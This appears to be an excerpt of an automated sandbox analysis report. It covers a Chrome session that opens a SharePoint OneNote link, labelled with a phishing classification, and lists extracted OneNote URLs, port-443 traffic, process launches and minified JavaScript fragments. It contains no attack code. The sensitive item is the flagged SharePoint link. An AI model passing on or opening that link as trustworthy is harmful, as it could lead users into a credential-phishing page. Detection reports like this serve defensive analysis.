Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ko-KR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kok-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ku-Arab-IQ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ky-KG&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lb-LU&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lt-LT&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lv-LV&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mk-MK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ml-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mn-MN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mr-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ms-MY&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mt-MT&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nb-NO&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nl-NL&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nn-NO&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nso-ZA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=or-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pa-Arab-PK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pa-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=prs-AF&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pt-BR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pt-PT&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=quz-PE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ro-RO&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ru-RU&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=rw-RW&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sd-Arab-PK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=si-LK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sk-SK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sq-AL&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Cyrl-BA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Cyrl-RS&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Latn-RS&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sv-SE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sw-KE&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ta-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=te-IN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tg-Cyrl-TJ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=th-TH&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ti-ET&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tn-ZA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tr-TR&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tt-RU&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ug-CN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=uk-UA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ur-PK&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=uz-Latn-UZ&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=vi-VN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=wo-SN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=xh-ZA&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=yo-NG&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zh-CN&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zh-TW&temporaryLocalization=true
Source: chromecache_423.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zu-ZA&temporaryLocalization=true

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49736 version: TLS 1.2

Source: chromecache_363.2.dr

Binary or memory string: new u.a(e.a.Md());const C=".3gp .aa .aac .aax .act .aiff .amr .ape .au .awb .dct .dss .dvf .flac .gsm .iklax .ivs .m4a .m4b .m4p .mmf .mp3 .mpc .msv .ogg .oga .mogg .opus .ra .rm .raw .sln .tta .vox .wav .webm .wma .wv".split(" ");for(const t of C)F.Imc.add(t)}return F.Imc}static yti(C){return F.Nai().contains(C)}static yyi(C){C=h.xXh(C);return""!==document.createElement("audio").canPlayType(C)}}F.Imc=null;(0,K.a)(F,"EmbeddedFileReaderUtils",null,[])},15047:function(K,W,d){d.d(W,{a:function(){return k}});

Source: classification engine

Classification label: mal68.phis.win@20/362@84/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1944,i,7244158449792302167,2698048619673715931,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1944,i,7244158449792302167,2698048619673715931,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: c,!0,m),a&&a.ZT(this.button))}executeCommand(a,c,m,E){if(!Fc.c(a)){const P=this.Fb;P.CommandValueId=this.button.bOa();P.MenuItemId=this.button.Yb.MenuItemId;P.SourceControlId=this.control.id;this.root.executeCommand(a,P,this.Fe,c,m,null,this.$y(E))}}pg(){Fc.c(this.control.Yb.Command)\|\|0<(this.ti(this.properties.Command,this.properties.QueryCommand,this.Fb)&2)&&this.UGa()&&this.Bva()}Bva(){this.Hwe();this.Zdc();this.pdb()}onFocus(a){super.onFocus(a);this.Qre();return!1}onBlur(a){super.onBlur(a);this.$Jd(); source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: Sa}get ccf(){return this.pLg}get Tlh(){return this.PDb}get type(){return 1}Fd(Sa){Sa=Sa\|\|this.nc;if(Sa.paragraph){const Fb=this.paragraph.vd.tc(this.sG);Fb?(Fb.setValue(this.Je?L.a.S_c:L.a.fCc,Sa.paragraph.id),this.Je\|\|Sa.paragraph.id\|\|n.ULS.shipAssertTag(5564302,327,!1,"Comment node has no end anchor!")):n.ULS.shipAssertTag(4531335,327,!1,"Comment node {0} not found",this.sG)}return new X(Sa,this.tt,this.sG,this.Je,this.ccf)}save(Sa,Fb){if(!this.tt){Fb=Fb.createInstance(131073);Fb.setValue(L.a.Hda, source: chromecache_363.2.dr
